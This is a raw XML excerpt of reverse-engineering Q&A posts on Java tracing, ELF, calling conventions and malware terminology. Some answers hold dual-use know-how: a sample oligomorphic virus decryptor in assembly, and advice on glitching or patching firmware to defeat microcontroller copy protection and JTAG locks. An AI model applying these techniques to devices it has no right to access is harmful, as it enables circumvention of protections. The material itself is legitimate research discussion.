  <row Id="1705" PostTypeId="5" CreationDate="2013-04-10T17:58:56.957" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-10T17:58:56.957" LastActivityDate="2013-04-10T17:58:56.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1706" PostTypeId="4" CreationDate="2013-04-10T17:58:56.957" Score="0" Body="the Executable and Linkable Format is the main executable and object format for Linux, Solaris, *BSD, and many other OSes..." OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-10T21:02:59.710" LastActivityDate="2013-04-10T21:02:59.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1707" PostTypeId="2" ParentId="1696" CreationDate="2013-04-10T18:08:07.640" Score="7" Body="&lt;p&gt;In order of increasing complexity: oligomorphic, polymorphic, metamorphic.&lt;/p&gt;&#xA;&lt;p&gt;The first two terms are generally applied to decryptors.  We (anti-virus industry) define them this way: oligomorphic - decryptor with few variable elements, which does not affect the size or shape of the code.  It means that the variable elements are usually fixed-size instructions, but it can also apply to the register initialization.&lt;/p&gt;&#xA;&lt;h1&gt;Oligomorphic example&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;std ;fake, might be replaced by cld / nop / xchg ax, cx / ...&#xA;mov cx, size&#xA;mov ax, ax ;fake, might be replaced by mov bx, bx / or cx, cx / ...&#xA;mov si, decrypt_src&#xA;cld ;fake&#xA;mov di, decrypt_dst&#xA;or ax, ax ;fake&#xA;mov bl, key&#xA;and bp, bp ;fake&#xA;decrypt:&#xA;xor [di], bl&#xA;xchg dx, ax ;fake&#xA;inc di&#xA;cld ;fake&#xA;loop decrypt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this case, the &lt;code&gt;di&lt;/code&gt; register could be exchanged with &lt;code&gt;si&lt;/code&gt;, for example.  Very simple replacement.&lt;/p&gt;&#xA;&lt;h1&gt;Polymorphic&lt;/h1&gt;&#xA;&lt;p&gt;decryptor with potentially highly variable elements, which does affect the size and/or shape of the code.  It means that all kinds of changes can be applied, including subroutine creation, large blocks of garbage instructions, code &amp;quot;islands&amp;quot;, or even algorithmic register initialisation (example &lt;a href=&quot;http://pferrie.host22.com/papers/bounds.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;h1&gt;Metamorphic&lt;/h1&gt;&#xA;&lt;p&gt;highly variable elements are applied directly to the body.  There is generally no decryptor in this case.  The same techniques for polymorphism are applied to the code itself.  The most famous example of this is the Simile virus from 2002 (details &lt;a href=&quot;http://pferrie.host22.com/papers/simile.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;).  There's a detailed paper on the subject with actual examples &lt;a href=&quot;http://pferrie.host22.com/papers/metamorp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-04-17T04:56:23.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1708" PostTypeId="2" ParentId="1701" CreationDate="2013-04-10T18:41:37.610" Score="13" Body="&lt;p&gt;You might find &lt;a href=&quot;https://github.com/MyNameIsMeerkat/pyREtic&quot; rel=&quot;nofollow&quot;&gt;pyREtic&lt;/a&gt; from &lt;a href=&quot;http://www.immunityinc.com/resources-freesoftware.shtml&quot; rel=&quot;nofollow&quot;&gt;Immunity&lt;/a&gt; to be useful. The presentation from &lt;a href=&quot;https://www.youtube.com/watch?v=2RnR4fKYq-0&quot; rel=&quot;nofollow&quot;&gt;BlackHat USA 2010 on pyREtic is here (YouTube)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;pyREtic&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Reverse Engineer Obfuscated Python Bytecode This toolkit allows you to&#xA;  take a object in memory back to source code, without needing access to&#xA;  the bytecode directly on disk. This can be useful if the applictions&#xA;  pyc's on disk are obfuscated in one of many ways.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastEditorUserId="-1" LastEditDate="2016-02-29T14:29:51.863" LastActivityDate="2016-02-29T14:29:51.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1709" PostTypeId="2" ParentId="1579" CreationDate="2013-04-10T18:59:38.137" Score="4" Body="&lt;p&gt;Like @0xC0000022L, I tend to document first in source, or in something that can immediately be re-used in a tool (unlike a pure text documentation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A generic approach is to use a hex editor that has some abilities to annotate or describe structures&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;with coloring abilities&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/wxhexeditor/&quot; rel=&quot;nofollow&quot;&gt;wxHexEditor&lt;/a&gt; nice, simple, good&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phenoelit.org/BinID/BinID2.exe&quot; rel=&quot;nofollow&quot;&gt;BinID2&lt;/a&gt; lightweight, straightforward&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;with templates&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow&quot;&gt;010 editor&lt;/a&gt; many templates available, lacks easy manual coloring, but recommended&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hexworkshop.com/&quot; rel=&quot;nofollow&quot;&gt;hex workshop&lt;/a&gt; nice competitor, limited scripting and availability&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hhdsoftware.com/free-hex-editor&quot; rel=&quot;nofollow&quot;&gt;Hex editor Neo&lt;/a&gt; interesting features (multiple selections) but heavy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;with structures&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA&lt;/a&gt;: this can sound weird to use IDA as a hex editor, but you can create structures (or import them from a .H file), then apply them, create a script to chain them - and in the end you have a ready-made IDAPython script and the structures ready to use for the next time you encounter that format: you build the future tools progressively and skip the documentation text part ;)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;even better, it enables you to re-create the file from scratch with these defined structures, which is good for experimenting/fuzzing afterwards.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-15T04:48:37.633" LastActivityDate="2013-04-15T04:48:37.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1710" PostTypeId="2" ParentId="1703" CreationDate="2013-04-11T01:11:58.533" Score="8" Body="&lt;p&gt;ELF itself doesn't specify any kind of checksum. Your link error is likely due to an incorrect edit which changed some offsets within the file. If you don't adjust the offsets, you have to replace a string with a string that is no longer than the original, and you cannot add new fields unless you have a known amount of slack space available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;readelf -a&lt;/code&gt; to check the ELF file headers, and compare old with new.&lt;/p&gt;&#xA;" OwnerUserId="1328" LastActivityDate="2013-04-11T01:11:58.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1712" PostTypeId="2" ParentId="1698" CreationDate="2013-04-11T07:35:04.977" Score="16" Body="&lt;p&gt;What kind of further information are you looking for? I assume your goal is to read out the flash contents of an ATmega microcontroller. You found information on how the glitchers work, now I guess you want a confirmation that this is generally possible before committing to building one? In that case yes it's possible. I can't provide you any papers because it's based on practical experience (not necessarily on an ATmega mcu).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there is generally no way to provide the core clock to an embedded board yourself (unlike with smartcards) you'll have to do either power,laser or electromagnetic glitching. Assuming you'll do power you basically have to replace the core power source of the target by one provided by you. In this you can inject your power glitches (negative or positive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many reasons why the copy protection might be bypassed all depending on the implementation of the protection mechanism. Some moments in time you can try are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Just after a cold reset.&lt;/strong&gt; Say the value of the copy protection bit is stored in OTP. A system performs some initialization just after reset. This can include the transfer of the protection bit value to an internal register. Glitching during this moment in time can for example 'cancel out' the transfer, change the value on the bus or prevent the value from being stored into the destination register.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Anytime during run-time&lt;/strong&gt;. Glitching during run-time can affect any register. It's a wild shot but fun things can happen (hello JTAG unlock!)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;During permission checking&lt;/strong&gt;. If flash reading is protected, this means it has to verify at some point if you have permission. If you can affect the outcome of this decision it can grant you access to retrieve the contents&lt;/li&gt;&#xA;&lt;li&gt;And there are many more you can think of, but also many reasons to what can prevent success (e.g. permanent physical disconnection of the JTAG interface  with antifuses etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="225" LastEditorUserId="225" LastEditDate="2013-04-11T07:59:16.247" LastActivityDate="2013-04-11T07:59:16.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1713" PostTypeId="2" ParentId="1686" CreationDate="2013-04-11T07:58:42.793" Score="4" Body="&lt;p&gt;You can find common tricks in &lt;a href=&quot;https://github.com/cuckoobox/cuckoo/blob/1884b5579ff8e053b3d4a8523a5da576eee43552/data/yara/binaries/vmdetect.yar&quot; rel=&quot;nofollow&quot;&gt;cuckoo sandbox repository&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastEditorUserId="13942" LastEditDate="2015-10-24T15:05:15.287" LastActivityDate="2015-10-24T15:05:15.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1714" PostTypeId="1" AcceptedAnswerId="1719" CreationDate="2013-04-11T09:37:10.487" Score="16" ViewCount="9298" Body="&lt;p&gt;This is not strictly 'reverse engineering', it's mostly related to dynamic instrumentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the same fashion as &lt;code&gt;strace&lt;/code&gt; which allows you to see syscalls made by a process, or &lt;code&gt;ftrace&lt;/code&gt; to see function calls, is there anything similar for Java?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am interested in is having a &lt;code&gt;.jar&lt;/code&gt; file that is run in a javaVM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to instrument or trace all the Java API calls the application code makes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, without any static analysis of the contents of the &lt;code&gt;.jar&lt;/code&gt; or without any editing of the contents of &lt;code&gt;.jar&lt;/code&gt; (e.g. to add hooks). Ideally, a solution equivalent to &lt;code&gt;strace&lt;/code&gt; or e.g. a manipulated javaVM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies on Android - Is there a way to trace all Android framework API calls (or other essentially DalvikVM functions) an application makes without any editing at all of the APK file? All other editing of the environment/system is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my ideal world, the analyst would get the following output, while running an UNEDITED application (&lt;code&gt;.jar&lt;/code&gt; or &lt;code&gt;.apk&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;timestamp1: java.security.SecureRandom.getSeed() called. Arguments: (Number) &#xA;timestamp2: javax.security.cert.X509Certificate.checkValidity() called. Arguments: (null)&#xA;...&#xA;timestamp3: java.sql.Connection.prepareStatement() called. Arguments: (&quot;SELECT * FROM X WHERE Y = W&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1698" LastEditorUserId="53" LastEditDate="2014-07-06T06:58:21.673" LastActivityDate="2014-07-06T06:58:21.673" Title="Dynamic java instrumentation?" Tags="|dynamic-analysis|java|android|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1715" PostTypeId="2" ParentId="1714" CreationDate="2013-04-11T09:44:48.293" Score="6" Body="&lt;p&gt;You can instrument Java by using an &lt;a href=&quot;http://docs.oracle.com/javase/6/docs/api/java/lang/instrument/package-summary.html&quot;&gt;agent&lt;/a&gt;, that will manipulate the bytecode of the loaded file (using &lt;a href=&quot;http://asm.ow2.org/&quot;&gt;Asm&lt;/a&gt; is recommented for bytecode manipulation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to use Eclipse's &lt;a href=&quot;http://asm.ow2.org/eclipse/index.html&quot;&gt;Bytecode Outline&lt;/a&gt; plugin to debug execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a good &lt;a href=&quot;http://dhruba.name/2010/02/07/creation-dynamic-loading-and-instrumentation-with-javaagents/&quot;&gt;tutorial&lt;/a&gt; on the topic.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-04-11T09:44:48.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1717" PostTypeId="2" ParentId="1698" CreationDate="2013-04-11T11:28:03.367" Score="0" Body="&lt;p&gt;This isn't really an answer to your question, but a different approach I've been thinking of for few hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience, the locking of the &lt;code&gt;JTAG&lt;/code&gt; port is done by software, by setting a specific register to a specific value. this information can easily be obtained from the manual of the microcontroller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to attack from the software side, not the hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The device allows in-field firmware update using USB, UART, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The firmware is not encrypted (well, from my experience it sometimes isn't).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My idea, is to alter the firmware file, and inject the specific opcode that clears the locking register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only an idea, I never tried it before, but I guess it's possible....&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2013-04-11T11:28:03.367" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1718" PostTypeId="2" ParentId="1617" CreationDate="2013-04-11T14:34:55.850" Score="2" Body="&lt;p&gt;I don't have any specific knowledge about that target, but the approach I would probably take is to send the same message over a pipe, tcp, and shared memory and trace them with pin, looking for where the basic block's hit converge with all traces should give you some starting points for fine tuning a good injection point.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2013-04-11T14:34:55.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1719" PostTypeId="2" ParentId="1714" CreationDate="2013-04-11T15:19:34.837" Score="14" Body="&lt;h1&gt;Oracle Java Virtual Machine&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Tracing the execution of a Java program can be done through the &lt;a href=&quot;http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/&quot;&gt;Java Platform Debugger Architecture&lt;/a&gt; (JPDA). This framework allow you to get a full control of an execution within the JVM (without having to modify the original code). See this &lt;a href=&quot;http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html&quot;&gt;tutorial&lt;/a&gt; for a more in depth view of this framework. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to implement it by yourself, you should use the &lt;a href=&quot;http://docs.oracle.com/javase/7/docs/jdk/api/jpda/jdi/com/sun/jdi/request/MethodEntryRequest.html&quot;&gt;MethodEntryRequest&lt;/a&gt; interface and intercept any method call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if you are lazy (just like me), you'd better use already existing projects such as &lt;a href=&quot;http://mchr3k.github.io/org.intrace/&quot;&gt;InTrace&lt;/a&gt; (see also the &lt;a href=&quot;http://mchr3k.github.io/org.intrace/related.html&quot;&gt;Related Projects' page&lt;/a&gt; of the InTrace project).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Android Java Dalvik Virtual Machine&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Tracing an Android Java program can be done through the &lt;a href=&quot;http://developer.android.com/tools/debugging/ddms.html&quot;&gt;Dalvik Debug Monitor Server&lt;/a&gt; (DDMS) and the full &lt;a href=&quot;http://developer.android.com/tools/debugging/&quot;&gt;Android debug framework&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There exist already some tools to trace the execution of programs such as &lt;a href=&quot;http://developer.android.com/tools/debugging/debugging-tracing.html&quot;&gt;Traceview and dmtracedump&lt;/a&gt; tools. And, finally, a few tips about the &lt;a href=&quot;http://0xlab.org/~jserv/tmp/dalvik.pdf&quot;&gt;Dalvik JVM&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-04-11T18:33:27.013" LastActivityDate="2013-04-11T18:33:27.013" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1720" PostTypeId="2" ParentId="1714" CreationDate="2013-04-11T15:36:19.903" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.eclipse.org/aspectj/&quot; rel=&quot;nofollow&quot;&gt;AspectJ&lt;/a&gt; can be used to do this on the JVM, via load-time weaving. It's built on Asm but there's more abstraction (no bytecode). Tracing method calls is fairly straight-forward: first define a filter to match &quot;pointcuts&quot; you're interested in, then specify the actions you want to perform (&quot;advice&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The syntax is a bit awkward though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package aspects;&#xA;&#xA;import java.util.logging.Level;&#xA;import java.util.logging.Logger;&#xA;&#xA;import org.aspectj.lang.Signature;&#xA;&#xA;aspect Trace{&#xA;    pointcut traceMethods() : (execution(* *(..))&amp;amp;&amp;amp; !cflow(within(Trace)));&#xA;&#xA;    before(): traceMethods(){&#xA;        Signature sig = thisJoinPointStaticPart.getSignature();&#xA;        String line =&quot;&quot;+ thisJoinPointStaticPart.getSourceLocation().getLine();&#xA;        String sourceName = thisJoinPointStaticPart.getSourceLocation().getWithinType().getCanonicalName();&#xA;        Logger.getLogger(&quot;Tracing&quot;).log(&#xA;                Level.INFO, &#xA;                &quot;Call from &quot;&#xA;                    +  sourceName&#xA;                    +&quot; line &quot; +&#xA;                    line&#xA;                    +&quot; to &quot; +sig.getDeclaringTypeName() + &quot;.&quot; + sig.getName()&#xA;        );&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compile with: &lt;code&gt;ajc -outxml -outjar aspects.jar Trace.java&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run FooClass with the weaver, run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;java -javaagent:aspectjweaver.jar -cp aspects.jar:${target_jar_name} FooClass&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24" LastEditorUserId="24" LastEditDate="2013-04-11T16:20:21.363" LastActivityDate="2013-04-11T16:20:21.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1721" PostTypeId="2" ParentId="1" CreationDate="2013-04-11T15:38:08.277" Score="9" Body="&lt;h2&gt;Direct Detection&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At the lowest level you can just have copies of the libraries and check if they are the one used. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Signature based Detection&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;At a higher level than that is &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/index.shtml&quot;&gt;IDA FLIRT&lt;/a&gt; which stores just enough information about a library to identify its use. But its main benefit is reduced disk usage... it is worth noting that you can add more definitions to the default ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hex-Rays talks about the technology &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml#implementation&quot;&gt;in-depth here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Generic recognition&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Tools like Coverity or the &lt;a href=&quot;http://clang-analyzer.llvm.org/&quot;&gt;Clang static analyzer&lt;/a&gt; or &lt;a href=&quot;http://klee.llvm.org/&quot;&gt;KLEE&lt;/a&gt; are more general and more likely to include models for programming idioms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I know of coming close to IDA that is open source is &lt;a href=&quot;https://github.com/radare/radare2&quot;&gt;radare&lt;/a&gt; which might have some library recognition. Also &lt;a href=&quot;http://www.radare.org/&quot;&gt;&lt;code&gt;radare&lt;/code&gt;'s main page&lt;/a&gt;. And I have been looking since I am hunting something like IDA that supports SPARC for free and it looks like &lt;code&gt;radare&lt;/code&gt; does although I haven't had time it give it a go yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell REC and Boomerang do not recognize libraries the way IDA does, but instead just attempt to decompile everything. &lt;a href=&quot;http://bap.ece.cmu.edu/&quot;&gt;BAP&lt;/a&gt; does analysis of binaries and is derived from the Vine component of the BitBlaze project the two projects below are part of as well.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Flow Analysis&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;TEMU and Rudder &lt;a href=&quot;http://bitblaze.cs.berkeley.edu/#projects&quot;&gt;here&lt;/a&gt; look to be quite advanced. And deal with code as it executes. TEMU helps to relate imputs and outputs to the flow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also worth noting that the Bitblaze tools are designed to provide traces for use in IDA although they could probably be adapted for use otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going off of the specifics you provided &lt;a href=&quot;http://bitblaze.cs.berkeley.edu/temu.html&quot;&gt;TEMU&lt;/a&gt; sounds the closest to what you want.... it allows you to mark tainted inputs (memory locations, physical inputs etc...) and detect the effects of those taints on the execution. If you want to try out TEMU and are on a newer Linux distro (anything with GCC 4+ which is most anything in the past few years) follow the &lt;a href=&quot;https://groups.google.com/forum/?fromgroups#!topic/bitblaze-users/QdoY9l8D-ho&quot;&gt;instructions here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="245" LastEditDate="2013-04-17T04:38:36.280" LastActivityDate="2013-04-17T04:38:36.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1722" PostTypeId="1" AcceptedAnswerId="1728" CreationDate="2013-04-11T15:48:28.053" Score="6" ViewCount="1568" Body="&lt;p&gt;How can you determine if a variable is a local variable of the function or an argument passed to the function?&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2013-04-12T05:37:46.823" Title="Determining if a variable is local or an argument passed to a function" Tags="|disassembly|c|c++|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1723" PostTypeId="2" ParentId="1722" CreationDate="2013-04-11T15:59:21.280" Score="2" Body="&lt;p&gt;I'm not sure what you mean by variable, I'll just assume it's the value of a register or a stack address at some point, during the execution of the function body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was passed by argument, its value was defined by the caller via stack or register (check &lt;a href=&quot;http://code.google.com/p/corkami/wiki/CallingConventions&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for the different calling conventions). If not, then it was defined by the function body itself.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2013-04-11T16:04:47.180" LastActivityDate="2013-04-11T16:04:47.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1724" PostTypeId="1" AcceptedAnswerId="1944" CreationDate="2013-04-11T18:05:07.347" Score="9" ViewCount="1225" Body="&lt;p&gt;I've found some universities that are porting &lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;noreferrer&quot;&gt;DynamoRIO&lt;/a&gt; (or something very similar) to Linux kernel space, but the code doesn't seem to be available. Is there a resource I am unaware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.cs.toronto.edu/~peter/feiner_asplos_2012.pdf&quot; rel=&quot;noreferrer&quot;&gt;Here's&lt;/a&gt; an example. &lt;/p&gt;&#xA;" OwnerUserId="1536" LastEditorUserId="245" LastEditDate="2013-04-17T04:40:01.113" LastActivityDate="2013-10-02T22:06:37.730" Title="How can I use DynamoRIO or something similar in Linux kernel space?" Tags="|tools|dynamic-analysis|dynamorio|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1725" PostTypeId="5" CreationDate="2013-04-11T18:18:06.570" Score="0" Body="&lt;p&gt;A runtime code manipulation system that supports code transformations on any part of a program, while it executes. DynamoRIO exports an interface for building dynamic tools for a wide variety of uses: program analysis and understanding, profiling, instrumentation, optimization, translation, etc. Unlike many dynamic tool systems, DynamoRIO is not limited to insertion of callouts/trampolines and allows arbitrary modifications to application instructions via a powerful IA-32/AMD64 instruction manipulation library. DynamoRIO provides efficient, transparent, and comprehensive manipulation of unmodified applications running on stock operating systems (Windows or Linux) and commodity IA-32 and AMD64 hardware.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;from the project website&lt;/p&gt;&#xA;" OwnerUserId="1536" LastEditorUserId="1536" LastEditDate="2013-04-11T18:41:12.393" LastActivityDate="2013-04-11T18:41:12.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1726" PostTypeId="4" CreationDate="2013-04-11T18:18:06.570" Score="0" Body="A runtime code manipulation system that supports code transformations on any part of a program, while it executes." OwnerUserId="1536" LastEditorUserId="1536" LastEditDate="2013-04-11T18:41:18.253" LastActivityDate="2013-04-11T18:41:18.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1727" PostTypeId="1" AcceptedAnswerId="1729" CreationDate="2013-04-11T18:39:57.193" Score="10" ViewCount="1564" Body="&lt;p&gt;I would like more information about the mathematical foundations of vulnerability and exploit development.online sources or books in the right direction will be helpful.&lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2013-04-11T19:05:38.333" Title="mathematical background behind exploit development and vulnerabilities" Tags="|vulnerability-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1728" PostTypeId="2" ParentId="1722" CreationDate="2013-04-11T18:44:40.797" Score="17" Body="&lt;h1&gt;Parameters&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Not only does it depend on the platform but different functions have different calling conventions. The calling convention basically tells you how you know where the arguments are. It says nothing about the local function stack frame layout. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also extremely important to understand that when a function or method can be proven by the compiler or linker to not be accessed by code outside of what the compiler can see in the current translation unit or the linker in the current binary they are free to do whatever they want. This includes passing arguments in manners which do not correspond the the &lt;a href=&quot;http://en.wikipedia.org/wiki/Application_binary_interface&quot;&gt;ABI&lt;/a&gt;. This is an even larger problem with the rising popularity of link time code generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ABI is basically the interface which all binaries on platform promises to adhere to so that there can be a guarantee that binaries written in different languages can interact. However if your binary does not export a function it does not usually need to adhere to the ABI.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Variables&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Variables can really only be stored in three locations&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;they can be stored on the stack in the local stack frame of the current function. This can be seen when the access is done relative to the stack pointer and where the offset is within the function stack frame and antedates the saved local registers. This usually means that the variable antedate the return address for calling conventions without link registers. Accesses where the offset precedes the return address is generally arguments. Calling conventions with link registers don't store return addresses on the stack unless they have to so variables antedate the saved registers portion of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Stack_frame#Structure&quot;&gt;stack frame&lt;/a&gt; and stack based arguments precede the saved registers portion of the stack frame. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;global storage, generally in either the heap or in a segment of the executable binary mapped by the loader.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;registers, this is generally used for variables which are used very frequently in the function since the register banks is the fastest storage available to the CPU. Variables can also be kept in registers for the duration of the function if the compiler determines that the CPU has enough registers to store all variables in the register bank. The optimization of which registers store what and when is called &lt;a href=&quot;http://en.wikipedia.org/wiki/Register_allocation&quot;&gt;register allocation&lt;/a&gt;. It's also important to realize that variables that go out of scope or are unused later on in a function frees up registers. This means that one register can map to different variables at different stages of a function.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Calling conventions&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;IA32 calling conventions&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In rough order of likelihood to run into.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot;&gt;cdecl&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In cdecl, subroutine arguments are passed on the stack. Integer values and memory addresses are returned in the EAX register, floating point values—in the ST0 x87 register. Registers EAX, ECX, and EDX are caller-saved, and the rest are callee-saved. The x87 floating point registers ST0 to ST7 must be empty (popped 